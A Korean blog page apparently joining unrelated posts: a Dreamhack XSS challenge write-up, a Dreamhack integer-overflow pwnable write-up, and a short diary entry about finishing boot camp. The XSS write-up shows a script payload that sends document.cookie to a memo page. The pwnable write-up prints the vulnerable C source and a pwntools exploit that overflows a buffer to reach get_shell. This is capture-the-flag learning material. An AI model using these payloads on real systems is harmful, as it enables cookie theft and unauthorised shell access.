초심자이기 때문에 하나부터 열까지 매우 세세하게 작성할 예정이다. 모든걸 이해하고 넘어가고 싶다. 다만 틀릴수도 있다.. !

 

파일이 깨지면 https://zzczzc123.notion.site/Dreamhack-XSS-1-45026e8388c0430a8751054d5a207024 로 가서 보자

 

문제분석


처음에 접속하게 되면

 

그림과 같은 페이지가 나오게 된다.

 

먼저 vuln(xss) page 부터 눌러보면 그림과 같이 뜨는걸 확인할 수 있다. 또 빨간박스를 보면 script가 들어가서 실행되는걸 확인할 수 있는데 이 말인 즉슨 XSS가 가능하다는 말이다.

vuln(xss) page 실행화면

 

두번째로 memo 실행화면이다. 하얀색 박스에 hello 라고 적하는걸 확인할 수 있다. vuln 페이지에 들어가서 XSS를 하면 하얀색 박스에 문구가추가되는것 같다. (한번 더 XSS해봤더니 또 hello 라고 뜨더라).

다음은 flag 페이지이다. 무언가 입력할 수 있는 박스가 하나 있고 입력을 하면 good 이라는 pop-up 창이 하나 뜬다. 그리고 memo에도 hello 문구가 또 추가된다. 여기에도 무슨 관계가 있구나 정도만 파악하고 넘어가자.

지금까지 내용을 정리하면 flag, memo, vuln 페이지에 어떠한 관계로 얽혀있는것 같고.. flag 페이지에 어떠한 값을 넣어야지 이 문제를 풀 수 있을것 같은 느낌이 든다.

그럼 그 느낌이 맞는지 소스코드를 보면서 확인해 보자

 

소스코드 분석


길다...

가장먼저 코드분석전에 어노테이션이라는걸 알게되었는데, 자세한 설명은 기타 다른 글에 뛰어난분들이 잘 정리하였으니 참고하고

어노테이션이 쓰인 @app.route("/flag", ........) 부분을 보면

/flag로 url 요청이 오면 해당 함수를 실행하겠다 라는 의미이다. (@app.route(”/flag”)

 

이 문제의 핵심은 FLAG 키값을 읽어오는 것이다

 

위에서 이야기했듯 flag 부분에 뭘 넣으면 될 것 같으니 일단 그부분 부터 보자

@app.route("/flag", methods=["GET", "POST"]) def flag():     if request.method == "GET":         return render_template("flag.html")     elif request.method == "POST":         param = request.form.get("param")         if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):             return '<script>alert("wrong??");history.go(-1);</script>'          return '<script>alert("good");history.go(-1);</script>'

 

코드를 대략적으로 분석해보면 POST 메소드로 요청이 오면 request.form.get("param")을 통해 param값을 설정하고 조건문으로 들어가게 된다.

 

그 조건문에서 check_xss(param, {"name": "flag", "value": FLAG.strip()}) 구문을 통해 check_xss 함수를 호출하게 되는데 check_xss 함수를 살펴보면

def check_xss(param, cookie={"name": "name", "value": "value"}):     url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"     return read_url(url, cookie)

이렇게 되어있다.

자 !

 

if not check_xss(param, {"name": "flag", "value": FLAG.strip()}) 여기서 넘겨주는 값은

  1. param, 2. {"name": "flag", "value": FLAG.strip()}) 인데, check_xss에서 인자를 받는걸 보면

check_xss(param, cookie={"name": "name", "value": "value"}): 이므로

param == param , {"name": "flag", "value": FLAG.strip()}) == cookie 인걸 확인할 수 있다.

 

정리하면 클라이언트 측 flag 페이지에서 어떤값을 입력해서 보내면, flag 함수가 있는 서버단에서 param과 cookie 값을 세팅해서 check_xss 함수로 넘겨준다. 그런데 세팅된 cookie 값은 flag다.

 

그러면 현재 check_xss() 함수의 url 변수에 저장되어 있는 값은

 

url = f"http://127.0.0.1:8000/vuln?param=우리가flag 페이지에서 입력한값 이 되게 되어진다.

이 상태에서 다시 read_url() 로 url, cookie 를 넘겨주게 되는데 .. 그렇다면 read_url() 을 봐보자

 

def read_url(url, cookie={"name": "name", "value": "value"}):     cookie.update({"domain": "127.0.0.1"})     try:         options = webdriver.ChromeOptions()         for _ in [             "headless",             "window-size=1920x1080",             "disable-gpu",             "no-sandbox",             "disable-dev-shm-usage",         ]:             options.add_argument(_)         driver = webdriver.Chrome("/chromedriver", options=options)         driver.implicitly_wait(3)         driver.set_page_load_timeout(3)         driver.get("http://127.0.0.1:8000/")         driver.add_cookie(cookie)         driver.get(url)     except Exception as e:         driver.quit()         # return str(e)         return False     driver.quit()     return True

인자로는 url, cookie를 받고 있다.!!

 

코드를 자세히 보면 보면 윗부분은 드라이버를 세팅해주는 내용인것 같고..

 

봐야할 부분은

 

driver.add_cookie(cookie) , driver.get(url) 이 두부분인것 같다. check_xss로 부터 들어온 인자값을(url, cookie) 값을 추가하고 True 값을 리턴해 준다. True 값을 리턴해 주므로

 

@app.route("/flag", methods=["GET", "POST"]) def flag():     if request.method == "GET":         return render_template("flag.html")     elif request.method == "POST":         param = request.form.get("param")         if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):             return '<script>alert("wrong??");history.go(-1);</script>'          return '<script>alert("good");history.go(-1);</script>'

맨 아래 코드가 실행되게 된다.

 

코드의 전체적인 흐름과 문제가 의도한 내용은 지금까지 파악을 해 보았다.. flag 페이지에서 입력값 이랑 FLAG 값을 각각 param, coockie로 설정해서 chec_xss 넘겨주고check_xss에서 url을 설정 후 read_url 에서 url, cookie 세팅을 해주게 되고 true 값을 반환하는것 ..

 

아니 알겠는데 그래서 어떻게 해야하는데? 이게 vuln(xss) page 페이지에서 xss 일어나는거랑 무슨상관인데?

 

chec_xss 코드를 다시 봐보자

def check_xss(param, cookie={"name": "name", "value": "value"}):     url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"     return read_url(url, cookie)

url을 유심히 봐보면 /vuln?param= 을 볼 수 있을것이다. /vuln 함수가 실행된다 !!

 

결국 위의 과정들(flag페이지에서 입력→ chec_xss 함수 호출 → read_url 함수 호출) 이 일어나는데 read_url 에서 /vuln 페이지를 다시 요청하므로 XSS취약점이 있는 vuln(xss) page에서 스크립트(우리가 flag 페이지에 입력한 값)가 실행되어 진다.

 

자 다왔다..

 

결국 중요한건 flag 값을 찾는건데.. cookie에 flag 값이 설정되어있다.. 그렇다면 어떻게 해야할까.. 어떤 스크립트를 써야 내부적으로 실행되어진 스크립트를 통해 cookie 값을 클라이언트 측에서 볼 수 있을까 ?

 

location 객체의 href 를 쓰면 된다. (다른게 있을수도 있다.. )

 

그리고 왜 존재하는지 몰랐던 memo 페이지를 사용하면 된다.

 

url = f"http://127.0.0.1:8000/vuln?param=

 

이게 지금 url 인데 여기에 파라미터값을 다음과 같이 주면 어떻게 될까

 

<script>location.href=”http://127.0.0.1:8000/memo?memo=”+document.cookie</script>

 

이 값을 넘겨주게 되면 최종적으로 check_xss 함수에서 세팅되는 url 값은

 

url = f"http://127.0.0.1:8000/vuln?param=<script>location.href=”http://127.0.0.1:8000/memo?memo=”+document.cookie</script>

 

이 되어진다. 따라서 XSS 가 가능한 vuln코드에서 <script>가 실행되어 지고 스크립트 내용을 통해 memo에 cookie 내용이 입력되어지게 된다...

 

왜 memo?memo= 에 입력을 하냐면 메모 페이지에 들어가서 보니 입력을 받는 인자가 아래 그림과 같았다.

 

길었다..끝이다.

 

 

 

 

1. Introduction


이 프로그램은 자료형과 overflow를 탐지하는 검증 메커니즘의 오류로 발생하는 취약점임

 

2. Static Analysis


처음 본 순간 어떻게 주소를 조작해서 get_shell() 을 호출하면 될것같다고 생각했다.

 

주어진 조건을 보면 buf[256] 으로 설정되어 있고, size는 256 넘게 입력할 경우 조건문 안으로 빠지게 되어 프로그램이 종료된다.

 

그러나 조건문은 or 문으로 되어있고 그 조건은 size > 256 || size<0 이다.

 

그러면 만약 size가 0 이면? 조건문에 걸리지 않아서 통과가 된다 ..

 

근데 size가 0이면 입력을 못받는거 아닌가 ?

 

read() 부부을 보면 size-1 만큼을 버퍼로 읽는걸 확인할 수 있다.

 

read 함수의 원형을 보면 read (int fd, void *buf, size_t len) 다음과 같다

 

  1. int fd는 파일 디스크립터
  1. void *buf 는 읽은 데이터를 저장할 메모리 공간
  1. size_t len 은 읽을 데이터의 크기

 

int size =0 일경우 size-1 을 하게되면 integer 범위가 넘어가게 된다. (2의 보수 계산)

 

정리하면

0을 넣어줌으로써 overflow 탐지 조건문을 넘어간다. 그 후 interger overflow를 이용해 ( 0을 입력할 경우 size-1의 크기만큼 read하는부분을 활용) 입력받는 버퍼의 크기를 늘리고 buffer overflow를 통해 get_shell 주소를 따내면 된다

#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h>  void alarm_handler() {     puts("TIME OUT");     exit(-1); }  void initialize() {     setvbuf(stdin, NULL, _IONBF, 0);     setvbuf(stdout, NULL, _IONBF, 0);      signal(SIGALRM, alarm_handler);     alarm(30); }  void get_shell() {     system("/bin/sh"); }  int main() {     char buf[256];     int size;      initialize();      signal(SIGSEGV, get_shell);      printf("Size: ");     scanf("%d", &size);      if (size > 256 || size < 0)     {         printf("Buffer Overflow!\n");         exit(0);     }      printf("Data: ");     read(0, buf, size - 1);      return 0; }

3. Dynamic Analysis


동적분석을 할게 없다 ..

 

4. Exploit code


from pwn import *  p = remote("host1.dreamhack.games","OOOOO") elf = ELF("./sint")  ''' information''' ebp = 0xffffd538 ret = 0xffffd53c buf = 0xffffd438  get_shell = elf.symbols["get_shell"]  p.recvuntil("Size: ") p.sendline('0') p.recvuntil('Data: ')  payload = "A"*256 payload +=p32(get_shell)  p.sendline(payload)  p.interactive()

'개인공부 > pwnable' 카테고리의 다른 글

pwnable.kr bof 문제  (0) 2019.10.21
pwnable.kr fd 문제  (0) 2019.10.21
[protostar] stack5 문제풀이  (0) 2019.01.02
[protostar] stack4 문제풀이  (0) 2018.12.31
[protostar] stack3 문제풀이  (0) 2018.11.19

와우.. 힘든 나날이었다 

 

진짜 ㅋㅋㅋㅋ 모든게 새로워서 매시간이 도전이었다.

 

내 인생에서 이렇게 무시당하고 (?) 구르고.. 혼나고 긴장하고 겁먹고 걱정하고 짜증 나고 답답했던 기간이 있었을까? 

 

뭐 아예 없었던 거 같진 않긴 하다.. ㅋㅋㅋㅋㅋㅋㅋ 

 

훈련소에서 보낸 시간들이 나에게 힘들었던 건 분명하지만 , 그게 나에게 마냥 안 좋은 것만은 아니었던 거 같다. 

 

어느 정도 나의 관점이 바뀌었고, 마인드도 바뀌었다. 그리고 자신감.. 

 

제일 중요한데 자신감이 생겼다

 

어차피 또 해낼 수 있을 거야 라는 그런 마음을 가질 수 있게 되었다.. 

 

'일기' 카테고리의 다른 글

개덥다  (0) 2018.08.02
혼술해따 ! (안양 혼술)더비어샵에서...  (0) 2018.07.28

+ Recent posts